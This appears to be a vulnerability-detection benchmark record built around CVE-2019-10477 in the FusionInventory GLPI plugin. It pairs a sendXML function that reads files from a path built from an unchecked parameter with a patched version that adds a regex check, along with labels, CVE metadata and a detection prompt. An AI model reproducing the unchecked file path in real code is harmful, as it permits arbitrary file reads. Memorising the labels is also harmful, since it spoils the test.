*/\n static function sendXML($items_id, $itemtype) {", " if (call_user_func([$itemtype, 'canView'])) {", " $xml = file_get_contents(GLPI_PLUGIN_DOC_DIR.\"/fusioninventory/xml/\".$items_id);\n echo $xml;\n } else {\n Html::displayRightError();\n }", " }", "\n /**\n * This function fetch rows from a MySQL result in an array with each table as a key\n *\n * example:\n * $query =\n * \"SELECT table_a.*,table_b.* \".\n * \"FROM table_b \".\n * \"LEFT JOIN table_a ON table_a.id = table_b.linked_id\";\n * $result = mysqli_query( $query );\n * print_r( fetchTableAssoc( $result ) )\n *\n * output:\n * $results = Array\n * (\n * [0] => Array\n * (\n * [table_a] => Array\n * (\n * [id] => 1\n * )\n * [table_b] => Array\n * (\n * [id] => 2\n * [linked_id] => 1\n * )\n * )\n * ...\n * )\n *\n * @param object $mysql_result\n * @return array\n */\n static function fetchAssocByTable($mysql_result) {\n $results = [];\n //get fields header infos\n $fields = mysqli_fetch_fields($mysql_result);\n //associate row data as array[table][field]\n while ($row = mysqli_fetch_row($mysql_result)) {\n $result = [];\n for ($i=0; $i < count( $row ); $i++) {\n $tname = $fields[$i]->table;\n $fname = $fields[$i]->name;\n if (!isset($result[$tname])) {\n $result[$tname] = [];\n }\n $result[$tname][$fname] = $row[$i];\n }\n if (count($result) > 0) {\n $results[] = $result;\n }\n }\n return $results;\n }", "\n /**\n * Format a json in a pretty json\n *\n * @param string $json\n * @return string\n */\n static function formatJson($json) {\n $version = phpversion();", " if (version_compare($version, '5.4', 'lt')) {\n return pretty_json($json);\n } else if (version_compare($version, '5.4', 'ge')) {\n return json_encode(\n json_decode($json, true),\n JSON_PRETTY_PRINT\n );\n }\n }", "\n /**\n * Dropdown for display hours\n *\n * @param string $name\n * @param array $options\n * @return string unique html element id\n */\n static function showHours($name, $options = []) {", " $p['value'] = '';\n $p['display'] = true;\n $p['width'] = '80%';\n $p['step'] = 5;\n $p['begin'] = 0;\n $p['end'] = (24 * 3600);", " if (is_array($options) && count($options)) {\n foreach ($options as $key => $val) {\n $p[$key] = $val;\n }\n }\n if ($p['step'] <= 0) {\n $p['step'] = 5;\n }", " $values = [];", " $p['step'] = $p['step'] * 60; // to have in seconds\n for ($s=$p['begin']; $s<=$p['end']; $s+=$p['step']) {\n $values[$s] = PluginFusioninventoryToolbox::getHourMinute($s);\n }\n return Dropdown::showFromArray($name, $values, $p);\n }", "\n /**\n * Get hour:minute from number of seconds\n *\n * @param integer $seconds\n * @return string\n */\n static function getHourMinute($seconds) {\n $hour = floor($seconds / 3600);\n $minute = (($seconds - ((floor($seconds / 3600)) * 3600)) / 60);\n return sprintf(\"%02s\", $hour).\":\".sprintf(\"%02s\", $minute);\n }", "\n /**\n * Get information if allow_url_fopen is activated and display message if not\n *\n * @param integer $wakecomputer (1 if it's for wakeonlan, 0 if it's for task)\n * @return boolean\n */\n static function isAllowurlfopen($wakecomputer = 0) {", " if (!ini_get('allow_url_fopen')) {\n echo \"<center>\";\n echo \"<table class='tab_cadre' height='30' width='700'>\";\n echo \"<tr class='tab_bg_1'>\";\n echo \"<td align='center'><strong>\";\n if ($wakecomputer == '0') {\n echo __('PHP allow_url_fopen is off, remote can\\'t work').\" !\";\n } else {\n echo __('PHP allow_url_fopen is off, can\\'t wake agent to do inventory').\" !\";\n }\n echo \"</strong></td>\";\n echo \"</tr>\";\n echo \"</table>\";\n echo \"</center>\";\n echo \"<br/>\";\n return false;\n }\n return true;\n }", "\n /**\n * Execute a function as Fusioninventory user\n *\n * @param string|array $function\n * @param array $args\n * @return string the normaly returned value from executed callable\n */\n function executeAsFusioninventoryUser($function, array $args = []) {", " $config = new PluginFusioninventoryConfig();\n $user = new User();", " // Backup _SESSION environment\n $OLD_SESSION = [];", " foreach (['glpiID', 'glpiname','glpiactiveentities_string',\n 'glpiactiveentities', 'glpiparententities'] as $session_key) {\n if (isset($_SESSION[$session_key])) {\n $OLD_SESSION[$session_key] = $_SESSION[$session_key];\n }\n }", " // Configure impersonation\n $users_id = $config->getValue('users_id');\n $user->getFromDB($users_id);", " $_SESSION['glpiID'] = $users_id;\n $_SESSION['glpiname'] = $user->getField('name');\n $_SESSION['glpiactiveentities'] = getSonsOf('glpi_entities', 0);\n $_SESSION['glpiactiveentities_string'] =\n \"'\". implode( \"', '\", $_SESSION['glpiactiveentities'] ).\"'\";\n $_SESSION['glpiparententities'] = [];", " // Execute function with impersonated SESSION\n $result = call_user_func_array($function, $args);", " // Restore SESSION\n foreach ($OLD_SESSION as $key => $value) {\n $_SESSION[$key] = $value;\n }\n // Return function results\n return $result;\n }", "\n /**\n * Check if an item is inventoried by FusionInventory\n *\n * @since 9.2\n * @param CommonDBTM $item the item to check\n * @return boolean true if handle by FusionInventory\n */\n static function isAFusionInventoryDevice($item) {\n $table = '';\n switch ($item->getType()) {\n case 'Computer':\n $table = 'glpi_plugin_fusioninventory_inventorycomputercomputers';\n $fk = 'computers_id';\n break;", " case 'NetworkEquipment':\n $table = 'glpi_plugin_fusioninventory_networkequipments';\n $fk = 'networkequipments_id';\n break;", " case 'Printer':\n $table = 'glpi_plugin_fusioninventory_printers';\n $fk = 'printers_id';\n break;", " }\n if ($table) {\n return $item->isDynamic()\n && countElementsInTable($table, [$fk => $item->getID()]);\n } else {\n return 0;\n }\n }", "\n /**\n * Get default value for state of devices (monitor, printer...)\n *\n * @param string type the type of inventory performed (values : computer, snmp)\n * @param array $input\n * @return array the fields with the states_id filled, is necessary\n */\n static function addDefaultStateIfNeeded($type, $input) {\n $config = new PluginFusioninventoryConfig();\n switch ($type) {\n case 'computer':\n if ($states_id_default = $config->getValue(\"states_id_default\")) {\n $input['states_id'] = $states_id_default;\n }\n break;", " case 'snmp':\n if ($states_id_snmp_default = $config->getValue(\"states_id_snmp_default\")) {\n $input['states_id'] = $states_id_snmp_default;\n }\n break;", " default:\n $state = false;\n break;\n }\n return $input;\n }", " /**\n * Add a location if required by a rule\n * @since 9.2+2.0\n *\n * @param array $input fields of the asset being inventoried\n * @param array $output output array in which the location should be added (optionnal)\n * @return array the fields with the locations_id filled, is necessary\n */\n static function addLocation($input, $output = false) {\n //manage location\n $ruleLocation = new PluginFusioninventoryInventoryRuleLocationCollection();", " // * Reload rules (required for unit tests)\n $ruleLocation->getCollectionPart();", " $dataLocation = $ruleLocation->processAllRules($input);\n if (isset($dataLocation['locations_id'])) {\n if ($output) {\n $output['locations_id'] = $dataLocation['locations_id'];\n } else {\n $input['locations_id'] = $dataLocation['locations_id'];\n }\n }\n return ($output?$output:$input);\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [62, 522], "buggy_code_start_loc": [53, 521], "filenames": ["front/send_inventory.php", "inc/toolbox.class.php"], "fixing_code_end_loc": [61, 523], "fixing_code_start_loc": [52, 521], "message": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "0A68574C-AA9C-4825-8667-8D6E738A8513", "versionEndExcluding": "1.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "E4DB8EBF-93FD-4FBC-8D50-2334CE6ADE10", "versionEndExcluding": null, "versionEndIncluding": "9.3.3", "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "14A28339-0224-4846-96D1-88898B2912EC", "versionEndExcluding": "1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "02BDFBF8-8EFC-43E2-B78D-2817AF6FCA58", "versionEndExcluding": null, "versionEndIncluding": "9.4.1.1", "versionStartExcluding": null, "versionStartIncluding": "9.4.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions."}, {"lang": "es", "value": "El plugin \"FusionInventory\", en versiones anteriores a la 1.4 para GLPI 9.3.x y en las anteriores a la 1.1 para GLPI 9.4.x, gestiona de manera incorrecta las acciones sendXML."}], "evaluatorComment": null, "id": "CVE-2019-10477", "lastModified": "2019-04-01T19:25:30.453", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2019-03-29T14:29:00.530", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/260a864...e1f776d"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/cec774a...baa4158"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.3%2B1.4"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.4%2B1.1"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-19"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, "type": "CWE-19"}
125
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * FusionInventory\n *\n * Copyright (C) 2010-2016 by the FusionInventory Development Team.\n *\n * http://www.fusioninventory.org/\n * https://github.com/fusioninventory/fusioninventory-for-glpi\n * http://forge.fusioninventory.org/\n *\n * ------------------------------------------------------------------------\n *\n * LICENSE\n *\n * This file is part of FusionInventory project.\n *\n * FusionInventory is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * FusionInventory is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with FusionInventory. If not, see <http://www.gnu.org/licenses/>.\n *\n * ------------------------------------------------------------------------\n *\n * This file is used to manage the functions used in many classes.\n *\n * ------------------------------------------------------------------------\n *\n * @package FusionInventory\n * @author Vincent Mazzoni\n * @author David Durieux\n * @copyright Copyright (c) 2010-2016 FusionInventory team\n * @license AGPL License 3.0 or (at your option) any later version\n * http://www.gnu.org/licenses/agpl-3.0-standalone.html\n * @link http://www.fusioninventory.org/\n * @link https://github.com/fusioninventory/fusioninventory-for-glpi\n *\n */", "if (!defined('GLPI_ROOT')) {\n die(\"Sorry. You can't access directly to this file\");\n}", "/**\n * Manage the functions used in many classes.\n **/\nclass PluginFusioninventoryToolbox {", "\n /**\n * Log if extra debug enabled\n *\n * @param string $file\n * @param string $message\n */\n static function logIfExtradebug($file, $message) {\n $config = new PluginFusioninventoryConfig();\n if (PluginFusioninventoryConfig::isExtradebugActive()) {\n if (is_array($message)) {\n $message = print_r($message, true);\n }\n Toolbox::logInFile($file, $message . \"\\n\", true);\n }\n }", "", " /** Function get on http://www.php.net/manual/en/function.gzdecode.php#82930\n * used to uncompress gzip string\n *\n * @param string $data\n * @param string $filename\n * @param string $error\n * @param null|integer $maxlength\n * @return null|false|string\n */\n static function gzdecode($data, &$filename = '', &$error = '', $maxlength = null) {\n $len = strlen($data);\n if ($len < 18 || strcmp(substr($data, 0, 2), \"\\x1f\\x8b\")) {\n $error = \"Not in GZIP format.\";\n return null; // Not GZIP format (See RFC 1952)\n }\n $method = ord(substr($data, 2, 1)); // Compression method\n $flags = ord(substr($data, 3, 1)); // Flags\n if ($flags & 31 != $flags) {\n $error = \"Reserved bits not allowed.\";\n return null;\n }\n // NOTE: $mtime may be negative (PHP integer limitations)\n // $a_mtime = unpack(\"V\", substr($data, 4, 4));\n // $mtime = $a_mtime[1];\n $headerlen = 10;\n $extralen = 0;\n $extra = \"\";\n if ($flags & 4) {\n // 2-byte length prefixed EXTRA data in header\n if ($len - $headerlen - 2 < 8) {\n return false; // invalid\n }\n $a_extralen = unpack(\"v\", substr($data, 8, 2));\n $extralen = $a_extralen[1];\n if ($len - $headerlen - 2 - $extralen < 8) {\n return false; // invalid\n }\n $extra = substr($data, 10, $extralen);\n $headerlen += 2 + $extralen;\n }\n $filenamelen = 0;\n $filename = \"\";\n if ($flags & 8) {\n // C-style string\n if ($len - $headerlen - 1 < 8) {\n return false; // invalid\n }\n $filenamelen = strpos(substr($data, $headerlen), chr(0));\n if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {\n return false; // invalid\n }\n $filename = substr($data, $headerlen, $filenamelen);\n $headerlen += $filenamelen + 1;\n }\n $commentlen = 0;\n $comment = \"\";\n if ($flags & 16) {\n // C-style string COMMENT data in header\n if ($len - $headerlen - 1 < 8) {\n return false; // invalid\n }\n $commentlen = strpos(substr($data, $headerlen), chr(0));\n if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {\n return false; // Invalid header format\n }\n $comment = substr($data, $headerlen, $commentlen);\n $headerlen += $commentlen + 1;\n }\n $headercrc = \"\";\n if ($flags & 2) {\n // 2-bytes (lowest order) of CRC32 on header present\n if ($len - $headerlen - 2 < 8) {\n return false; // invalid\n }\n $calccrc = crc32(substr($data, 0, $headerlen)) & 0xffff;\n $a_headercrc = unpack(\"v\", substr($data, $headerlen, 2));\n $headercrc = $a_headercrc[1];\n if ($headercrc != $calccrc) {\n $error = \"Header checksum failed.\";\n return false; // Bad header CRC\n }\n $headerlen += 2;\n }\n // GZIP FOOTER\n $a_datacrc = unpack(\"V\", substr($data, -8, 4));\n $datacrc = sprintf('%u', $a_datacrc[1] & 0xFFFFFFFF);\n $a_isize = unpack(\"V\", substr($data, -4));\n $isize = $a_isize[1];\n // decompression:\n $bodylen = $len-$headerlen-8;\n if ($bodylen < 1) {\n // IMPLEMENTATION BUG!\n return null;\n }\n $body = substr($data, $headerlen, $bodylen);\n $data = \"\";\n if ($bodylen > 0) {\n switch ($method) {\n case 8:\n // Currently the only supported compression method:\n $data = gzinflate($body, $maxlength);\n break;\n default:\n $error = \"Unknown compression method.\";\n return false;\n }\n } // zero-byte body content is allowed\n // Verifiy CRC32\n $crc = sprintf(\"%u\", crc32($data));\n $crcOK = $crc == $datacrc;\n $lenOK = $isize == strlen($data);\n if (!$lenOK || !$crcOK) {\n $error = ( $lenOK ? '' : 'Length check FAILED. ') . ( $crcOK ? '' : 'Checksum FAILED.');\n return false;\n }\n return $data;\n }", "\n /**\n * Merge 2 simpleXML objects\n *\n * @staticvar boolean $firstLoop\n * @param object $simplexml_to simplexml instance source\n * @param object $simplexml_from simplexml instance destination\n */\n static function appendSimplexml(&$simplexml_to, &$simplexml_from) {\n static $firstLoop=true;", " //Here adding attributes to parent\n if ($firstLoop) {\n foreach ($simplexml_from->attributes() as $attr_key => $attr_value) {\n $simplexml_to->addAttribute($attr_key, $attr_value);\n }\n }\n foreach ($simplexml_from->children() as $simplexml_child) {\n $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(),\n (string)$simplexml_child);\n foreach ($simplexml_child->attributes() as $attr_key => $attr_value) {\n $simplexml_temp->addAttribute($attr_key, $attr_value);\n }\n $firstLoop=false;\n self::appendSimplexml($simplexml_temp, $simplexml_child);\n }\n unset($firstLoop);\n }", "\n /**\n * Clean XML, ie convert to be insert without problem into MySQL database\n *\n * @param object $xml SimpleXMLElement instance\n * @return object SimpleXMLElement instance\n */\n function cleanXML($xml) {\n $nodes = [];\n foreach ($xml->children() as $key=>$value) {\n if (!isset($nodes[$key])) {\n $nodes[$key] = 0;\n }\n $nodes[$key]++;\n }\n foreach ($nodes as $key=>$nb) {\n if ($nb < 2) {\n unset($nodes[$key]);\n }\n }", " if (count($xml) > 0) {\n $i = 0;\n foreach ($xml->children() as $key=>$value) {\n if (count($value->children()) > 0) {\n $this->cleanXML($value);\n } else if (isset($nodes[$key])) {\n $xml->$key->$i = Toolbox::clean_cross_side_scripting_deep(\n Toolbox::addslashes_deep($value));\n $i++;\n } else {\n $xml->$key = Toolbox::clean_cross_side_scripting_deep(\n Toolbox::addslashes_deep($value));\n }\n }\n }\n return $xml;\n }", "\n /**\n * Format XML, ie indent it for pretty printing\n *\n * @param object $xml simplexml instance\n * @return string\n */\n static function formatXML($xml) {\n $string = str_replace(\"><\", \">\\n<\", $xml->asXML());\n $token = strtok($string, \"\\n\");\n $result = '';\n $pad = 0;\n $matches = [];\n $indent = 0;", " while ($token !== false) {\n // 1. open and closing tags on same line - no change\n if (preg_match('/.+<\\/\\w[^>]*>$/', $token, $matches)) {\n $indent=0;\n // 2. closing tag - outdent now\n } else if (preg_match('/^<\\/\\w/', $token, $matches)) {\n $pad = $pad-3;\n // 3. opening tag - don't pad this one, only subsequent tags\n } else if (preg_match('/^<\\w[^>]*[^\\/]>.*$/', $token, $matches)) {\n $indent=3;\n } else {\n $indent = 0;\n }", " $line = Toolbox::str_pad($token, strlen($token)+$pad, ' ', STR_PAD_LEFT);\n $result .= $line . \"\\n\";\n $token = strtok(\"\\n\");\n $pad += $indent;\n $indent = 0;\n }", " return $result;\n }", "\n /**\n * Write XML in a folder from an inventory by agent\n *\n * @param integer $items_id id of the unmanaged device\n * @param string $xml xml informations (with XML structure)\n * @param string $itemtype\n */\n static function writeXML($items_id, $xml, $itemtype) {", " $folder = substr($items_id, 0, -1);\n if (empty($folder)) {\n $folder = '0';\n }\n if (!file_exists(PLUGIN_FUSIONINVENTORY_XML_DIR)) {\n mkdir(PLUGIN_FUSIONINVENTORY_XML_DIR);\n }\n $itemtype_dir = PLUGIN_FUSIONINVENTORY_XML_DIR.strtolower($itemtype);\n if (!file_exists($itemtype_dir)) {\n mkdir($itemtype_dir);\n }\n if (!file_exists($itemtype_dir.\"/\".$folder)) {\n mkdir($itemtype_dir.\"/\".$folder);\n }\n $file = $itemtype_dir.\"/\".$folder.\"/\".$items_id.'.xml';\n $fileopen = fopen($file, 'w');\n fwrite($fileopen, $xml);\n fclose($fileopen);\n }", "\n /**\n * Add AUTHENTICATION string to XML node\n *\n * @param object $p_sxml_node XML node to authenticate\n * @param integer $p_id Authenticate id\n **/\n function addAuth($p_sxml_node, $p_id) {\n $pfConfigSecurity = new PluginFusioninventoryConfigSecurity();\n if ($pfConfigSecurity->getFromDB($p_id)) {", " $sxml_authentication = $p_sxml_node->addChild('AUTHENTICATION');", " $sxml_authentication->addAttribute('ID', $p_id);\n $sxml_authentication->addAttribute('VERSION',\n $pfConfigSecurity->getSNMPVersion($pfConfigSecurity->fields['snmpversion']));\n if ($pfConfigSecurity->fields['snmpversion'] == '3') {\n $sxml_authentication->addAttribute('USERNAME',\n $pfConfigSecurity->fields['username']);\n if ($pfConfigSecurity->fields['authentication'] != '0') {\n $sxml_authentication->addAttribute('AUTHPROTOCOL',\n $pfConfigSecurity->getSNMPAuthProtocol(\n $pfConfigSecurity->fields['authentication']));\n }\n $sxml_authentication->addAttribute('AUTHPASSPHRASE',\n $pfConfigSecurity->fields['auth_passphrase']);\n if ($pfConfigSecurity->fields['encryption'] != '0') {\n $sxml_authentication->addAttribute('PRIVPROTOCOL',\n $pfConfigSecurity->getSNMPEncryption(\n $pfConfigSecurity->fields['encryption']));\n }\n $sxml_authentication->addAttribute('PRIVPASSPHRASE',\n $pfConfigSecurity->fields['priv_passphrase']);\n } else {\n $sxml_authentication->addAttribute('COMMUNITY',\n $pfConfigSecurity->fields['community']);\n }\n }\n }", "\n /**\n * Add GET oids to XML node 'GET'\n *\n * @param object $p_sxml_node\n * @param string $p_object\n * @param string $p_oid\n * @param string $p_link\n * @param string $p_vlan\n */\n function addGet($p_sxml_node, $p_object, $p_oid, $p_link, $p_vlan) {\n $sxml_get = $p_sxml_node->addChild('GET');\n $sxml_get->addAttribute('OBJECT', $p_object);\n $sxml_get->addAttribute('OID', $p_oid);\n $sxml_get->addAttribute('VLAN', $p_vlan);\n $sxml_get->addAttribute('LINK', $p_link);\n }", "\n /**\n * Add WALK (multiple oids) oids to XML node 'WALK'\n *\n * @param object $p_sxml_node\n * @param string $p_object\n * @param string $p_oid\n * @param string $p_link\n * @param string $p_vlan\n */\n function addWalk($p_sxml_node, $p_object, $p_oid, $p_link, $p_vlan) {\n $sxml_walk = $p_sxml_node->addChild('WALK');\n $sxml_walk->addAttribute('OBJECT', $p_object);\n $sxml_walk->addAttribute('OID', $p_oid);\n $sxml_walk->addAttribute('VLAN', $p_vlan);\n $sxml_walk->addAttribute('LINK', $p_link);\n }", "\n /**\n * Get IP for device\n *\n * @param string $itemtype\n * @param integer $items_id\n * @return array\n */\n static function getIPforDevice($itemtype, $items_id) {\n $NetworkPort = new NetworkPort();\n $networkName = new NetworkName();\n $iPAddress = new IPAddress();", " $a_ips = [];\n $a_ports = $NetworkPort->find(\n ['itemtype' => $itemtype,\n 'items_id' => $items_id,\n 'instantiation_type' => ['!=', 'NetworkPortLocal']]);\n foreach ($a_ports as $a_port) {\n $a_networknames = $networkName->find(\n ['itemtype' => 'NetworkPort',\n 'items_id' => $a_port['id']]);\n foreach ($a_networknames as $a_networkname) {\n $a_ipaddresses = $iPAddress->find(\n ['itemtype' => 'NetworkName',\n 'items_id' => $a_networkname['id']]);\n foreach ($a_ipaddresses as $data) {\n if ($data['name'] != '127.0.0.1'\n && $data['name'] != '::1') {\n $a_ips[$data['name']] = $data['name'];\n }\n }\n }\n }\n return array_unique($a_ips);\n }", "\n // *********************** Functions used for inventory *********************** //", "\n /**\n * Check lock\n *\n * @param array $data\n * @param array $db_data\n * @param array $a_lockable\n * @return array\n */\n static function checkLock($data, $db_data, $a_lockable = []) {\n foreach ($a_lockable as $field) {\n if (isset($data[$field])) {\n unset($data[$field]);\n }\n if (isset($db_data[$field])) {\n unset($db_data[$field]);\n }\n }\n return [$data, $db_data];\n }", "\n /**\n * Display data from serialized inventory field\n *\n * @param array $array\n */\n static function displaySerializedValues($array) {", " foreach ($array as $key=>$value) {\n echo \"<tr class='tab_bg_1'>\";\n echo \"<th>\";\n echo $key;\n echo \"</th>\";\n echo \"<td>\";\n if (is_array($value)) {\n echo \"<table class='tab_cadre' width='100%'>\";\n PluginFusioninventoryToolbox::displaySerializedValues($value);\n echo \"</table>\";\n } else {\n echo $value;\n }\n echo \"</td>\";\n echo \"</tr>\";\n }\n }", "\n /**\n * Send serialized inventory to user browser (to download)\n *\n * @param integer $items_id\n * @param string $itemtype\n */\n static function sendSerializedInventory($items_id, $itemtype) {\n header('Content-type: text/plain');", " if (call_user_func([$itemtype, 'canView'])) {\n $item = new $itemtype();\n $item->getFromDB($items_id);\n echo gzuncompress($item->fields['serialized_inventory']);\n } else {\n Html::displayRightError();\n }\n }", "\n /**\n * Send the XML (last inventory) to user browser (to download)\n *\n * @param integer $items_id\n * @param string $itemtype\n */\n static function sendXML($items_id, $itemtype) {", " if (preg_match(\"/^([a-zA-Z]+)\\/(\\d+)\\/(\\d+)\\.xml$/\", $items_id)\n && call_user_func([$itemtype, 'canView'])) {", " $xml = file_get_contents(GLPI_PLUGIN_DOC_DIR.\"/fusioninventory/xml/\".$items_id);\n echo $xml;\n } else {\n Html::displayRightError();\n }", " }", "\n /**\n * This function fetch rows from a MySQL result in an array with each table as a key\n *\n * example:\n * $query =\n * \"SELECT table_a.*,table_b.* \".\n * \"FROM table_b \".\n * \"LEFT JOIN table_a ON table_a.id = table_b.linked_id\";\n * $result = mysqli_query( $query );\n * print_r( fetchTableAssoc( $result ) )\n *\n * output:\n * $results = Array\n * (\n * [0] => Array\n * (\n * [table_a] => Array\n * (\n * [id] => 1\n * )\n * [table_b] => Array\n * (\n * [id] => 2\n * [linked_id] => 1\n * )\n * )\n * ...\n * )\n *\n * @param object $mysql_result\n * @return array\n */\n static function fetchAssocByTable($mysql_result) {\n $results = [];\n //get fields header infos\n $fields = mysqli_fetch_fields($mysql_result);\n //associate row data as array[table][field]\n while ($row = mysqli_fetch_row($mysql_result)) {\n $result = [];\n for ($i=0; $i < count( $row ); $i++) {\n $tname = $fields[$i]->table;\n $fname = $fields[$i]->name;\n if (!isset($result[$tname])) {\n $result[$tname] = [];\n }\n $result[$tname][$fname] = $row[$i];\n }\n if (count($result) > 0) {\n $results[] = $result;\n }\n }\n return $results;\n }", "\n /**\n * Format a json in a pretty json\n *\n * @param string $json\n * @return string\n */\n static function formatJson($json) {\n $version = phpversion();", " if (version_compare($version, '5.4', 'lt')) {\n return pretty_json($json);\n } else if (version_compare($version, '5.4', 'ge')) {\n return json_encode(\n json_decode($json, true),\n JSON_PRETTY_PRINT\n );\n }\n }", "\n /**\n * Dropdown for display hours\n *\n * @param string $name\n * @param array $options\n * @return string unique html element id\n */\n static function showHours($name, $options = []) {", " $p['value'] = '';\n $p['display'] = true;\n $p['width'] = '80%';\n $p['step'] = 5;\n $p['begin'] = 0;\n $p['end'] = (24 * 3600);", " if (is_array($options) && count($options)) {\n foreach ($options as $key => $val) {\n $p[$key] = $val;\n }\n }\n if ($p['step'] <= 0) {\n $p['step'] = 5;\n }", " $values = [];", " $p['step'] = $p['step'] * 60; // to have in seconds\n for ($s=$p['begin']; $s<=$p['end']; $s+=$p['step']) {\n $values[$s] = PluginFusioninventoryToolbox::getHourMinute($s);\n }\n return Dropdown::showFromArray($name, $values, $p);\n }", "\n /**\n * Get hour:minute from number of seconds\n *\n * @param integer $seconds\n * @return string\n */\n static function getHourMinute($seconds) {\n $hour = floor($seconds / 3600);\n $minute = (($seconds - ((floor($seconds / 3600)) * 3600)) / 60);\n return sprintf(\"%02s\", $hour).\":\".sprintf(\"%02s\", $minute);\n }", "\n /**\n * Get information if allow_url_fopen is activated and display message if not\n *\n * @param integer $wakecomputer (1 if it's for wakeonlan, 0 if it's for task)\n * @return boolean\n */\n static function isAllowurlfopen($wakecomputer = 0) {", " if (!ini_get('allow_url_fopen')) {\n echo \"<center>\";\n echo \"<table class='tab_cadre' height='30' width='700'>\";\n echo \"<tr class='tab_bg_1'>\";\n echo \"<td align='center'><strong>\";\n if ($wakecomputer == '0') {\n echo __('PHP allow_url_fopen is off, remote can\\'t work').\" !\";\n } else {\n echo __('PHP allow_url_fopen is off, can\\'t wake agent to do inventory').\" !\";\n }\n echo \"</strong></td>\";\n echo \"</tr>\";\n echo \"</table>\";\n echo \"</center>\";\n echo \"<br/>\";\n return false;\n }\n return true;\n }", "\n /**\n * Execute a function as Fusioninventory user\n *\n * @param string|array $function\n * @param array $args\n * @return string the normaly returned value from executed callable\n */\n function executeAsFusioninventoryUser($function, array $args = []) {", " $config = new PluginFusioninventoryConfig();\n $user = new User();", " // Backup _SESSION environment\n $OLD_SESSION = [];", " foreach (['glpiID', 'glpiname','glpiactiveentities_string',\n 'glpiactiveentities', 'glpiparententities'] as $session_key) {\n if (isset($_SESSION[$session_key])) {\n $OLD_SESSION[$session_key] = $_SESSION[$session_key];\n }\n }", " // Configure impersonation\n $users_id = $config->getValue('users_id');\n $user->getFromDB($users_id);", " $_SESSION['glpiID'] = $users_id;\n $_SESSION['glpiname'] = $user->getField('name');\n $_SESSION['glpiactiveentities'] = getSonsOf('glpi_entities', 0);\n $_SESSION['glpiactiveentities_string'] =\n \"'\". implode( \"', '\", $_SESSION['glpiactiveentities'] ).\"'\";\n $_SESSION['glpiparententities'] = 